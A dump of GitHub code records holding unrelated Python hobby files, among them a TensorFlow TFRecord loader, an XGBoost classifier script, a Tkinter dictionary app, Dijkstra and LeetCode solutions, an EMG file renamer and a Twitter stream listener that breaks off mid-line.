app.config[\"OAREPO_PERMISSIONS_PRESETS\"][\n k\n ] = ext_config.OAREPO_VOCABULARIES_PERMISSIONS_PRESETS[k]\n\n def init_resource(self, app):\n \"\"\"Initialize resources.\"\"\"\n self.type_resource = app.config[\"OAREPO_VOCABULARY_TYPE_RESOURCE\"](\n config=app.config[\"OAREPO_VOCABULARY_TYPE_RESOURCE_CONFIG\"](),\n service=self.type_service,\n )\n","repo_name":"oarepo/oarepo-vocabularies","sub_path":"oarepo_vocabularies/ext.py","file_name":"ext.py","file_ext":"py","file_size_in_byte":2505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18782714252","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 25 05:24:53 2018\n\n@author: nn\n\"\"\"\n\nimport os\nimport yaml\n\nimport tensorflow as tf\nimport numpy as np\nimport cv2\n\nfrom . import base_loader\n\n#def init(self, num)\n\ndef get_decord_func(shape):\n\n def decord(example):\n features = tf.parse_single_example(\n example,\n features={\n \"image\":tf.FixedLenFeature([], tf.string),\n \"label\":tf.FixedLenFeature([], tf.int64),\n \"index\":tf.FixedLenFeature([], tf.int64)\n }\n )\n # image = example.features.feature[\"image\"].bytes_list.value[0]\n # index = example.features.feature[\"index\"].int64_list.value[0]\n image = features[\"image\"]\n label = features[\"label\"]\n index = features[\"index\"]\n \n image = tf.decode_raw(image, tf.uint8)\n image = tf.reshape(image, shape)\n image = tf.cast(image ,tf.float32) / 255.0\n return image, label, index\n return decord\n\nclass TfRecordLoader(base_loader.BaseLoader):\n def __init__(self, record_dir, \n batch_size,\n is_train=True,\n name=\"dataset\",\n params_filename=\"params.yml\"):\n super().__init__(\"tensor\")\n#record_file, n_data, shape, num_classes \n record_files = [os.path.join(record_dir, f) \\\n for f in os.listdir(record_dir) \\\n if f.endswith(\".tfrecord\")]\n print(\"loading files :\", record_files)\n param_file = os.path.join(record_dir, params_filename)\n with open(param_file, \"r\") as hndl:\n params = yaml.load(hndl)\n shape = tuple(params[\"shape\"])\n \n with tf.name_scope(name):\n dataset = tf.data.TFRecordDataset(record_files)\n decord_func = get_decord_func(shape)\n dataset = dataset.map(decord_func)\n# dataset = dataset.map(augment)\n\n self.shape = shape\n self.n_classes = params[\"num_classes\"]\n self.dataset = dataset\n self.n_data = params[\"n_data\"]\n self.class_names = params[\"class_names\"]\n \n if is_train:\n dataset = dataset.shuffle(batch_size * 50)\n dataset = dataset.batch(batch_size, drop_remainder=True)\n dataset = dataset.repeat(-1)\n iterator = dataset.make_one_shot_iterator()\n else:\n dataset = dataset.batch(batch_size)\n iterator = dataset.make_initializable_iterator()\n print(\"is_train\", is_train)\n \n self.dataset = dataset\n self.iterator= iterator\n self.n_iter = (self.n_data + batch_size - 1) // batch_size\n self.batch = self.iterator.get_next()\n\n def get_batch(self):\n return self.batch\n \n def get_labels(self):\n return self.batch[1]\n \n def get_data_iterators(self, batch_size, epoch=0):\n return self.n_iter, range(self.n_iter)\n \n# dataset = dataset.shuffle(buffer_size=1028)\n\ndef check_record(tf_file):\n shape = (134, 183, 3)\n\n images = []\n c = 0\n for record in tf.python_io.tf_record_iterator(tf_file):\n example = tf.train.Example()\n example.ParseFromString(record)\n \n index = example.features.feature[\"index\"].int64_list.value[0]\n image = example.features.feature[\"image\"].bytes_list.value[0]\n \n image = np.fromstring(image, dtype=np.uint8)\n image = image.reshape(shape)\n images.append(image)\n c += 1\n print(c, index)\n if c == 3:\n break\n cv2.imwrite(\"tmp.png\", np.concatenate(images))\n\n\n\ndef augment(image, label):\n \"\"\"Placeholder for data augmentation.\"\"\"\n # OPTIONAL: Could reshape into a 28x28 image and apply distortions\n # here. Since we are not applying any distortions in this\n # example, and the next step expects the image to be flattened\n # into a vector, we don't bother.\n image = tf.image.random_flip_left_right(image)\n# image = tf.image.random_brightness(image, 0.1)\n# image = tf.image.random_saturation(image, 0.5, 1.5)\n x = tf.random_uniform([1], minval=170, maxval=182, dtype=tf.int32)\n y = tf.random_uniform([1], minval=110, maxval=133, dtype=tf.int32)\n image = tf.random_crop(image, (y[0], x[0], 3))\n# rot = tf.random_uniform([1], minval=-1, maxval=1)\n# image = tf.contrib.image.rotate(image, np.pi * rot)\n image = tf.image.resize_images(image, (139, 189))\n return image, label\n\n\ndef batch_record(filename):\n dataset = tf.data.TFRecordDataset(filename)\n decord = get_decord_func((139, 189, 3))\n \n dataset = dataset.map(decord)\n dataset = dataset.map(augment)\n dataset = dataset.batch(8)\n dataset = dataset.shuffle(buffer_size=2)\n# iterator = dataset.make_one_shot_iterator()\n iterator = dataset.make_initializable_iterator()\n return iterator\n\ndef get_tfrecord_loader(input_dir=\"./\", batch_size=32,\n train_name=\"Train\", test_name=\"Test\"):\n train_file = os.path.join(input_dir, train_name)\n test_file = os.path.join(input_dir, test_name)\n \n train_loader = TfRecordLoader(train_file, batch_size, name=\"train_data\")\n test_loader = TfRecordLoader(test_file, batch_size, is_train=False,\n name=\"test_data\")\n return train_loader, test_loader\n \n\nif __name__ == \"__main__\":\n\n if False:\n tf_file = \"/home/naoki/Document/ml_data/mtg/tfrecoords/10E.tfrecoord\"\n \n tf_files = [\n \"/home/naoki/Document/ml_data/mtg/tfrecoords/KLD.tfrecoord\",\n \"/home/naoki/Document/ml_data/mtg/tfrecoords/AER.tfrecoord\"]\n iterator = batch_record(tf_files)\n img, index = iterator.get_next()\n \n with tf.Session() as sess:\n imgs = []\n for epoch in range(10): \n indices = []\n sess.run(iterator.initializer)\n try:\n while True:\n im, i = sess.run([img, index])\n indices.append(i)\n except tf.errors.OutOfRangeError:\n print(epoch, indices[:4])\n imgs.append(np.concatenate(im))\n # images.append(im)\n # print(j, i)\n cv2.imwrite(\"tmp3.png\", np.concatenate(imgs, axis=1))\n else:\n img_dir = \"../../data/cifar10/Train\"\n train_loader = TfRecordLoader(img_dir, 32)\n imgs, labels, indices = train_loader.get_batch()\n print(imgs.shape)\n print(labels)\n print(indices)\n with tf.Session() as sess:\n imgs = sess.run(imgs)\n height = int(np.sqrt(len(imgs)))\n width = len(imgs) // height\n img_hier = \\\n np.concatenate(\n [np.vstack([imgs[j * height +i] for i in range(height)]) for j in range(width)\n ], axis=1)\n cv2.imwrite(\"tmp.png\", img_hier)\n","repo_name":"NeverendingNotification/nnlibs","sub_path":"data_loader/tfrecord_loader.py","file_name":"tfrecord_loader.py","file_ext":"py","file_size_in_byte":6374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15449131751","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom xgboost import XGBClassifier\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.decomposition import PCA\nfrom imblearn.under_sampling import RandomUnderSampler\ndf_train = pd.read_csv('datasets/heart-disease-uci/heart.csv')\ndf_train=df_train[0:240]\n\ntarget_count = df_train.target.value_counts()\nprint('Class 0:', target_count[0])\nprint('Class 1:', target_count[1])\nprint('Proportion:', round(target_count[0] / target_count[1], 2), ': 1')\n\ntarget_count.plot(kind='bar', title='Count (target)')\nplt.show()\nlabels = df_train.columns[:10]\n\nX = df_train[labels]\ny = df_train['target']\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=1)\nmodel = XGBClassifier()\nmodel.fit(X_train, y_train)\ny_pred = model.predict(X_test)\n\naccuracy = accuracy_score(y_test, y_pred)\nprint(\"Accuracy: %.2f%%\" % (accuracy * 100.0))\ncount_class_0, count_class_1 = df_train.target.value_counts()\ndf_class_0 = df_train[df_train['target'] == 0]\ndf_class_1 = df_train[df_train['target'] == 1]\n\n\ndef plot_2d_space(X, y, label='Classes'):\n colors = ['#1F77B4', '#FF7F0E']\n markers = ['o', 's']\n for l, c, m in zip(np.unique(y), colors, markers):\n plt.scatter(\n X[y==l, 0],\n X[y==l, 1],\n c=c, label=l, marker=m\n )\n plt.title(label)\n plt.legend(loc='upper right')\n plt.show()\n\n\n# pca = PCA(n_components=2)\n# X = pca.fit_transform(X)\n#\n# plot_2d_space(X, y, 'Imbalanced dataset (2 PCA components)')\n#\n\nrus = RandomUnderSampler(return_indices=True)\nX_rus, y_rus, id_rus = rus.fit_sample(X, y)\n\nprint('Removed indexes:', id_rus)\npca = PCA(n_components=2)\nX_rus= pca.fit_transform(X_rus)\nplot_2d_space(X_rus, y_rus, 'Random under-sampling')\n\n\n","repo_name":"Cosijopiii/UB","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72613731734","text":"import json\nfrom difflib import get_close_matches\nfrom tkinter import Tk, ttk\nfrom typing import Dict\n\nfrom config import (\n BODY_FONT,\n COPYRIGHT_FONT,\n ENTRY_FONT,\n HINT_GREEN_TEXT_COLOR,\n HINT_RED_TEXT_COLOR,\n MEANS_TEXT_COLOR,\n TITLE_FONT,\n WINDOW_COLOR,\n)\n\n# import dictionary\nwith open(\"data.json\") as dict_file:\n dictionary: Dict = json.load(dict_file)\n\n\ndef main() -> None:\n word = word_entry.get().lower()\n search_result = search(word)\n\n if search_result[\"status\"] is False:\n hint_label_style.configure(\"Hint.TLabel\", foreground=HINT_RED_TEXT_COLOR)\n else:\n hint_label_style.configure(\"Hint.TLabel\", foreground=HINT_GREEN_TEXT_COLOR)\n\n hint_label.config(text=search_result[\"hint_text\"])\n means_label.config(text=search_result[\"meaning_text\"])\n return\n\n\ndef search(word: str) -> Dict:\n word = word.lower()\n result = {\n \"status\": True,\n \"hint_text\": \"\",\n \"meaning_text\": \"\",\n }\n\n if word == \"\":\n result[\"status\"] = False\n result[\"hint_text\"] = \"✗ Oops.. You can't search nothing!\"\n return result\n\n if word.isnumeric() and word != \"42\":\n result[\"status\"] = False\n result[\n \"hint_text\"\n ] = \"✗ Sorry, you can't search for a number! Only number that has meaning is 42. Check that out!\"\n return result\n\n if word == \"42\":\n result[\"hint_text\"] = \"✓ Are you looking for a meaning of your life?\"\n result[\n \"meaning_text\"\n ] = '>> 42 is the number from which all meaning (\"the meaning of life, the universe, and everything\") can be derived.'\n return result\n\n if word in dictionary:\n meaning = dictionary[word]\n elif word.title() in dictionary:\n meaning = dictionary[word.title()]\n elif word.upper() in dictionary:\n meaning = dictionary[word.upper()]\n else:\n meaning = \"\"\n\n if meaning == \"\":\n result[\"status\"] = False\n\n # check for close words to help user\n close_words = get_close_matches(word, dictionary.keys(), n=2)\n if len(close_words) == 0:\n result[\"hint_text\"] = \"✗ We can't find searched word in our dictionary.\"\n return result\n\n # add close_ words to the hint text\n if len(close_words) > 0:\n result[\"hint_text\"] += f'✗ Did you mean \"{close_words[0]}\"?'\n if len(close_words) > 1:\n result[\"hint_text\"] += f' Or maybe \"{close_words[1]}\"?'\n\n return result\n\n result[\"hint_text\"] = \"✓ Done!\"\n\n # if word have more meanings, we combine it in one string\n if isinstance(meaning, list):\n meaning = \"\\n>> \".join(meaning)\n\n result[\"meaning_text\"] = f\">> {meaning}\"\n return result\n\n\nif __name__ == \"__main__\":\n # Window and frames\n win = Tk()\n win.title(\"Dictionary\")\n win.geometry(\"750x400\")\n win.config(bg=WINDOW_COLOR)\n win.resizable(False, False)\n\n frame1 = ttk.Frame(win, style=\"Frame.TFrame\")\n frame1.place(relx=0.34, rely=0.08, relwidth=0.6, relheight=0.4, anchor=\"n\")\n\n frame2 = ttk.Frame(win, style=\"Frame.TFrame\")\n frame2.place(relx=0.49, rely=0.45, relwidth=0.85, relheight=0.5, anchor=\"n\")\n\n # Styles\n hemidvs_style = ttk.Style()\n hemidvs_style.configure(\n \"Hemidvs.TLabel\",\n font=COPYRIGHT_FONT,\n foreground=\"white\",\n background=WINDOW_COLOR,\n )\n\n frames_style = ttk.Style()\n frames_style.configure(\"Frame.TFrame\", background=WINDOW_COLOR)\n\n title_label_style = ttk.Style()\n title_label_style.configure(\n \"Title.TLabel\",\n font=TITLE_FONT,\n foreground=\"white\",\n background=WINDOW_COLOR,\n )\n\n hint_label_style = ttk.Style()\n hint_label_style.configure(\n \"Hint.TLabel\",\n font=BODY_FONT,\n foreground=HINT_GREEN_TEXT_COLOR,\n background=WINDOW_COLOR,\n )\n\n means_label_style = ttk.Style()\n means_label_style.configure(\n \"Means.TLabel\",\n font=BODY_FONT,\n foreground=MEANS_TEXT_COLOR,\n background=WINDOW_COLOR,\n )\n\n # Widgets\n hemidvs_label = ttk.Label(win, style=\"Hemidvs.TLabel\", text=\"© made by hemidvs\")\n hemidvs_label.place(anchor=\"n\", relx=0.9, rely=0.9)\n\n title_label = ttk.Label(\n frame1, style=\"Title.TLabel\", text=\"Type word to get mean...\"\n )\n title_label.place(relx=0.44, rely=0.08, relwidth=0.80, relheight=0.3, anchor=\"n\")\n\n word_entry = ttk.Entry(frame1, font=ENTRY_FONT)\n word_entry.place(relx=0.32, rely=0.55, relwidth=0.55, relheight=0.2, anchor=\"n\")\n\n # other Widgets\n search_button = ttk.Button(frame1, text=\"Search\", command=main)\n\n search_button.place(relx=0.72, rely=0.55, relwidth=0.18, relheight=0.2, anchor=\"n\")\n\n hint_label = ttk.Label(frame2, text=\"\", style=\"Hint.TLabel\")\n hint_label.place(anchor=\"nw\")\n\n means_label = ttk.Label(frame2, style=\"Means.TLabel\", wraplength=630)\n means_label.place(rely=0.15, anchor=\"nw\")\n win.mainloop()\n","repo_name":"HamidMusayev/Dictionary-Python-Tkinter","sub_path":"dictionary.py","file_name":"dictionary.py","file_ext":"py","file_size_in_byte":4980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"5298112782","text":"import csv\nfrom random import random\n\nimport numpy as np\nimport pandas as pd\n\nfrom lifelike.CAs import GRID_SIZE\nfrom lifelike.Population import Population\nfrom lifelike.constants import CHROMOSOME_LEN\nfrom util import binary\n#HYPERPARAMETER TUNING\nif __name__ == \"__main__\":\n with open('goals.npy', 'rb') as goalfile:\n goals = np.load(goalfile)\n\n with open('ics.npy', 'rb') as icfile:\n ics = np.load(icfile)\n\n for max_step in (1, 5, 10):\n for eval_step in (1, 5, 10):\n pop_size = 20\n elitism = 0.2\n mutation = 1 / CHROMOSOME_LEN\n epoch_n = 30\n hyperparams = {\n \"max_step\": max_step,\n \"eval_step\": eval_step,\n }\n exp_name = f\"single_max{max_step}_eval{eval_step}\"\n print(f\"Running {exp_name}\")\n rules = []\n conv_epochs = []\n num_visited = []\n best_rules = []\n pcount = 0\n for goalarr in goals:\n print(pcount)\n rules.append(goalarr)\n trueB = binary.ones(goalarr >> (CHROMOSOME_LEN // 2))\n trueS = binary.ones(goalarr)\n pop = Population(pop_size, elitism, mutation, trueB, trueS, ics, 'binary', hyperparams)\n counter = 0\n for _ in range(epoch_n):\n if pop.goal_found():\n break\n pop.iterate()\n counter += 1\n conv_epochs.append(counter)\n num_visited.append(len(pop.visited))\n best_rules.append(pop.inds[0].rstring)\n pcount += 1\n\n df = pd.DataFrame({\"rstring\": rules,\n \"convtime\": conv_epochs,\n \"visited\": num_visited,\n \"bestrule\": best_rules})\n df.to_csv(f\"./{exp_name}.csv\")\n","repo_name":"manuj-mishra/imperial-thesis","sub_path":"src/lifelike/experiments.py","file_name":"experiments.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"24182211368","text":"from __future__ import print_function\nimport pandas as pd\nimport pyLDAvis\nimport pyLDAvis.lda_model\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer\nfrom sklearn.decomposition import LatentDirichletAllocation\n\n\n\ndef topic_modeling(files):\n\n dfs = []\n\n # Load the CSV file into a Pandas dataframe\n for file in files:\n df = pd.read_csv(file)\n df['text'] = df['text'].fillna('')\n dfs.append(df)\n \n # Concatenate all DataFrames into one\n combined_df = pd.concat(dfs, ignore_index=True)\n\n # Extract the text data from the dataframe\n text_data = combined_df['text'].tolist()\n\n # Create a document-term matrix using CountVectorizer\n tf_vectorizer = CountVectorizer()\n dtm_tf = tf_vectorizer.fit_transform(text_data)\n\n # Create a document-term matrix using TF-IDF Vectorizer\n tfidf_vectorizer = TfidfVectorizer(**tf_vectorizer.get_params())\n dtm_tfidf = tfidf_vectorizer.fit_transform(text_data)\n\n # Perform LDA on the TF-IDF Vectorizer DTM\n lda_tfidf = LatentDirichletAllocation(n_components=6, random_state=0)\n lda_tfidf.fit(dtm_tfidf)\n\n # Generate the pyLDAvis visualization for the TF-IDF Vectorizer DTM\n vis_tfidf = pyLDAvis.lda_model.prepare(lda_tfidf, dtm_tfidf, tfidf_vectorizer)\n pyLDAvis.save_html(vis_tfidf, 'lda_visualization.html')\n\n # Perform LDA on the CountVectorizer DTM\n # lda_tf = LatentDirichletAllocation(n_components=5, random_state=0)\n # lda_tf.fit(dtm_tf)\n\n # Generate the pyLDAvis visualization for the CountVectorizer DTM\n # vis_tf = pyLDAvis.lda_model.prepare(lda_tf, dtm_tf, tf_vectorizer)\n # pyLDAvis.save_html(vis_tf, 'lda_visualization-tf.html')\n\nfiles = []\n\nfor year in range(2014, 2024):\n filename = f'{year}.csv'\n files.append(filename)\n\ntopic_modeling(files)","repo_name":"ngocbdinh/nlp-audio-in-xr","sub_path":"topic-modeling.py","file_name":"topic-modeling.py","file_ext":"py","file_size_in_byte":1814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37389239669","text":"#!/usr/bin/env python3\n# Project Ambrosia (c) 2013-19 duane a. bailey\n#\n\"\"\"Ambrosia decorators.\n\nThis module defines the decorators that are used in the definition of\nambrosia.\n @checkdoc - check class for appropriate documentation\n (active when CHECKDOC environment variable is set)\n\"\"\"\n\nimport os\nfrom functools import wraps\n\n__all__ = [\"checkdoc\"]\n\n_require_documentation = bool(os.getenv(\"CHECKDOC\"))\n\ndef checkdoc(cls):\n \"\"\"Check that all methods defined in a class contain documentation.\n\n This method is a class decorator. It is used, for example, as\n @checkdoc\n class Tranform...\n When the CHECKDOC environment variable is True, it verifies that \n all the methods of the indicated class are at least minimally \n documented. If a public method (one not beginning with underscore)\n does not have an associated docstring, a warning is printed.\"\"\"\n classname = cls.__name__\n if _require_documentation and not classname.startswith(\"_\"):\n methods = [x for x in dir(cls) if not x.startswith(\"_\")]\n for m in methods:\n docstr = eval(\"cls.\"+m+\".__doc__\")\n if not docstr:\n print(\"NOTE: Class method {}.{} is not documented.\".format(classname,m))\n return cls\n","repo_name":"AmbrosiaNotebooks/BasicBinder","sub_path":"ambrosia/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22386703479","text":"import sys\n\n\nclass Solution:\n def reverse(self, x: int) -> int:\n flag = False\n if x < 0:\n flag = True\n x = -x\n ans = 0\n while x > 0:\n ans = ans * 10\n ans += x % 10\n x //= 10\n if ans > 2**31-1:\n ans = 0\n flag = False\n return - ans if flag else ans\n\n\na = Solution()\nprint(a.reverse(1534236469))\n","repo_name":"rongjoker/ephemeralP","sub_path":"lc/202104/reverse7.py","file_name":"reverse7.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"5914628362","text":"# 풀 문제 = 미로\r\n\r\nimport sys\r\n\r\n# sys.stdin = open('input.txt')\r\n\r\ninput = sys.stdin.readline\r\n'''\r\n\r\n1에서 N까지 번호가 매겨진 N개의 목장에서 각각 한 마리의 소가 있으며, 이들은 소가 있는 목장에서 열리는 큰 소 파티에 참석하기로 결정했습니다. \r\n이 파티는 X번 목장에서 열립니다 (1 <= X <= N). M (1 <= M <= 100,000)개의 양방향 도로가 각 목장을 연결하며, 어떤 두 목장 사이에든 도로를 통해 이동할 수 있습니다. \r\n도로 i를 통과하는 데는 Ti (1 <= Ti <= 100) 단위의 시간이 걸립니다. 하나 이상의 쌍이 동일한 두 목장을 직접 연결할 수 있습니다.\r\n\r\n소들이 목장 X에서 파티에 참석했을 때 모든 소가 자신의 파티 선물을 놓고 온 것을 깨달았습니다.\r\n그래서 소들은 파티를 중단하고 모든 소가 자신의 목장으로 가서 선물을 가져오도록 결정했습니다. \r\n소들은 모두 자신의 목장에서 목장 X까지의 최적 경로를 따라 이동하고, 선물을 가져온 후 최적 경로를 따라 다시 파티로 돌아옵니다. \r\n모든 소가 자신의 선물을 가져오고 파티 장소로 돌아오는 데 필요한 최소한의 시간은 얼마입니까?\r\n\r\nLine 1: Three space-separated integers, respectively: N, M, and X\r\n2부터 M+1까지의 줄: i+1번째 줄은 세 개의 공백으로 구분된 정수로 도로 i를 설명합니다. \r\n각각 Ai, Bi 및 Ti입니다. 설명된 도로는 Ai와 Bi를 연결하며, 이를 통과하는 데 Ti 시간 단위가 소요됩니다.\r\n\r\nn개의 목장\r\nm개의 연결\r\n시작 목장\r\n'''\r\n\r\nfrom heapq import heappop, heappush\r\n\r\n\r\ndef dja(start):\r\n vis = [INF] * (n + 1)\r\n Q = []\r\n heappush(Q, (0, start))\r\n vis[start] = 0\r\n\r\n while Q:\r\n cnt, node = heappop(Q)\r\n if vis[node] < cnt: # 현재 위치의 비용보다 더 큰 비용을 가지면 그냥 중단\r\n continue\r\n for n_node, price in g[node]:\r\n cost = cnt + price\r\n if vis[n_node] > cost:\r\n heappush(Q, (cost, n_node))\r\n vis[n_node] = cost\r\n return vis\r\n\r\n\r\nINF = float('inf')\r\nn, m, x = map(int, input().split())\r\ng = [[] for _ in range(n + 1)]\r\nfor _ in range(m):\r\n a, b, c = map(int, input().split())\r\n # 다음 노드와 비용\r\n g[a].append((b, c))\r\n g[b].append((a, c))\r\n# print(g)\r\n\r\nres = dja(x)\r\ncnt = -INF\r\n\r\nfor i in range(1, n + 1):\r\n cnt = max(res[i],cnt)\r\nprint(cnt*2)\r\n# if i != x:\r\n# res = dja(i)\r\n # cnt = max(cnt, res[x+1])\r\n # print(res)\r\n","repo_name":"doyeong96/Baekjoon_Hub","sub_path":"백준/Gold/6248. Bronze Cow Party/Bronze Cow Party.py","file_name":"Bronze Cow Party.py","file_ext":"py","file_size_in_byte":2616,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10309574572","text":"import os\nimport shutil\nfrom collections import defaultdict\nimport re\nfrom tkinter import Tk\nfrom tkinter.filedialog import askdirectory\n\n\ndef rename_files():\n Tk().withdraw() # to hide the small tk window\n\n # open the dialog to select folders\n src_folder = askdirectory(title=\"Select the Source Folder with .otb+ files\")\n\n # Extract the participant type from the source folder's name\n src_folder_basename = os.path.basename(src_folder)\n participant_type = os.path.basename(src_folder).split(\"_\")[0]\n\n # Get parent folder of source\n parent_folder = os.path.dirname(src_folder)\n\n # Create a new destination folder under the parent folder\n dest_folder = os.path.join(parent_folder, src_folder_basename + \"_MAT\")\n os.makedirs(dest_folder, exist_ok=True)\n\n # Set the path for the yoga poses txt file\n txt_file = os.path.join(src_folder, \"yoga.txt\")\n\n # Read the yoga poses from the text file\n with open(txt_file, \"r\") as f:\n yoga_poses = f.read().splitlines()\n\n # Get the list of all files\n all_files = [\n f for f in os.listdir(src_folder) if os.path.isfile(os.path.join(src_folder, f))\n ]\n\n # Filter out the EMG recording files\n otb_files = [f for f in all_files if f.endswith(\".otb+\")]\n\n # Copy files that don't end with .otb+ to the destination folder\n for f in all_files:\n if not f.endswith(\".otb+\"):\n shutil.copy(os.path.join(src_folder, f), os.path.join(dest_folder, f))\n\n # Perform a sanity check\n if len(yoga_poses) != len(otb_files):\n print(\"len(yoga_poses) = \", len(yoga_poses))\n print(\"len(otb_files) = \", len(otb_files))\n print(\"The number of yoga poses does not match the number of files.\")\n return\n\n # Track the repetition of each pose\n pose_counter = defaultdict(int)\n\n # Sort otb_files based on date and time\n otb_files.sort(key=lambda x: x[-19:-5])\n\n # Iterate through each file and rename\n for i, filename in enumerate(otb_files):\n filename_without_number = re.sub(r\"_\\d+\\.\", \".\", filename)\n\n # Extract and format the date and time from the original filename\n date_time = filename_without_number[-19:-5]\n formatted_date = \"_\".join([date_time[6:8], date_time[4:6], date_time[0:4]])\n formatted_time = \"_\".join([date_time[8:10], date_time[10:12], date_time[12:]])\n\n # Get the current pose and increase its counter\n current_pose = yoga_poses[i]\n pose_counter[current_pose] += 1\n\n # Create the new filename\n new_filename = \"{}_{}_{}_{}_rep{}.otb+\".format(\n participant_type,\n current_pose,\n formatted_date,\n formatted_time,\n pose_counter[current_pose],\n )\n\n # Copy the otb file with the new name to the destination folder\n shutil.copy(\n os.path.join(src_folder, filename), os.path.join(dest_folder, new_filename)\n )\n\n\nif __name__ == \"__main__\":\n rename_files()\n","repo_name":"lg519/Yoga_project_data_processing","sub_path":"Extract_EMG_readings/rename_otb_files.py","file_name":"rename_otb_files.py","file_ext":"py","file_size_in_byte":2988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12314200371","text":"import requests\nimport openapi\n\n# Make a get request to get the pc part picker api api.\nreq = requests.get(\"https://www.mouser.com/\")\n\n# Print the status code of the response.\nresult = \"print(response.status_code)\"\n\n# Set up the parameters we want to pass to the API.\nparams = {\"16gb\",\"Corsair\"}\n\n# Make a get request with the parameters.\n# response = requests.get(\"http://github.com/ncwick96/Computer-Parts-Aggr/blob/master/pcpartpicker.py/\"\n\n\n# Print the content of the response (the data the server returned)\nrescon = \"print(response.content)\"\n\n\n# Assumes that the key is plaintext\n# Returns the API key stored in the file found at relative path \".\\APIS\\Mouser Electronics.txt\"\ndef get_api_key_from_file():\n with open(r'''.\\APIS\\Mouser Electronics.txt''') as f:\n return f.read()\n\n\n# reads the pcpartpicker.py file in our github repository\n# url += region + \"github.com/ncwick96/Computer-Parts-Aggr/blob/master/pcpartpicker.py/\"\n# url += achievement_id + \"?locale=\" + locale + \"&apikey=\" + apikey\n# verboseprint(url)\n# return url\n\n\n url += region + \"https://mouser.com\"\n return url\n result\n rescon\n\n url = build_achievement_request(request_args)\n response = requests.get(url)\n print(response.json())\n print(url)\n\n#if __name__ == '__main__':\n","repo_name":"ncwick96/Computer-Parts-Aggr","sub_path":"Test_work.py","file_name":"Test_work.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41372459933","text":"import tokens\r\nimport tweepy\r\nimport asyncio\r\nimport csv\r\nimport json\r\nimport time\r\nimport re\r\n\r\nfollow_file = 'follows.json'\r\n\r\nmust_follows = ['zerohedge']\r\n\r\ndefault_follows = ['CitronResearch', 'muddywatersre', 'Trinhnomics' 'BNONews', 'DeItaone', 'onlyyoontv', 'elonmusk', 'Newsquawk', 'SqueezeMetrics', 'spotgamma', 'WallStJesus',\r\n 'CryptoPanicCom', 'pakpakchicken', 'Trade_The_News', 'disclosetv', '_lakai_', 'hoodietrades', 'zerohedge', 'LiveSquawk', 'FirstSquawk']\r\n\r\nnews_list = ['disclosetv', 'zerohedge', 'DeItaone']\r\n\r\nfollow_list = default_follows\r\ntry:\r\n with open(follow_file) as f:\r\n follow_list = json.load(f)\r\nexcept FileNotFoundError:\r\n print(\"Twitter follow file not found\")\r\n with open(follow_file, 'w') as file:\r\n json.dump(default_follows, file)\r\n print(\"list updated\")\r\n\r\ntweet_queue = []\r\n\r\ndef get_tweet():\r\n if tweet_queue:\r\n return tweet_queue.pop(0)\r\n else:\r\n return False\r\n\r\ndef get_user_ids(follow):\r\n out = api.lookup_users(screen_names=follow, include_entities=False)\r\n return [x._json['id_str'] for x in out]\r\n\r\ndef addfollow(acct):\r\n if not (acct in follow_list):\r\n follow_list.append(acct)\r\n update_follows(follow_list)\r\n return True\r\n else:\r\n return False\r\n\r\ndef unfollow(acct):\r\n if (acct in follow_list) and (acct not in must_follows):\r\n follow_list.remove(acct)\r\n update_follows(follow_list)\r\n return True\r\n else:\r\n return False\r\n\r\ndef update_follows(f):\r\n with open(follow_file, 'w') as file:\r\n json.dump(f, file)\r\n print(\"list updated\")\r\n\r\n global followed_ids\r\n followed_ids = get_user_ids(f)\r\n if stream.running:\r\n stream.disconnect()\r\n #stream.filter(follow=followed_ids, is_async=True)\r\n\r\n\r\n\r\nclass StreamListener(tweepy.StreamListener):\r\n def __init__(self):\r\n super().__init__()\r\n # remember the content of the last tweet so that we don't double post\r\n self.last_tweet = \"\"\r\n \r\n def on_status(self, status):\r\n \r\n if status.retweeted:\r\n return\r\n # don't post out of context replies\r\n if status.in_reply_to_status_id:\r\n return\r\n\r\n description = status.user.description\r\n loc = status.user.location\r\n text = status.text\r\n coords = status.coordinates\r\n\r\n name = status.user.screen_name\r\n user_created = status.user.created_at\r\n followers = status.user.followers_count\r\n id_str = status.id_str\r\n created = status.created_at\r\n retweets = status.retweet_count\r\n\r\n\r\n creator_id = status.user.id_str\r\n\r\n if status.user.screen_name.upper() in map(str.upper, follow_list):\r\n # filter out retweets unless it's from a news source\r\n if hasattr(status, 'retweeted_status'):\r\n print(\"rt from\", status.user.screen_name )\r\n if not(status.user.screen_name.upper() in map(str.upper, news_list)):\r\n return\r\n\r\n # filter out retweets that tweet other accounts being followed\r\n regex = r\"RT @([^:]+):\"\r\n matches = re.findall(regex, status.text, re.MULTILINE)\r\n if matches[0].upper() in map(str.upper, follow_list):\r\n print('filtered out retweet to', matches[0])\r\n return\r\n \r\n print('{}: {} {}'.format(status.user.screen_name, text, status.source_url))\r\n tweet_url = 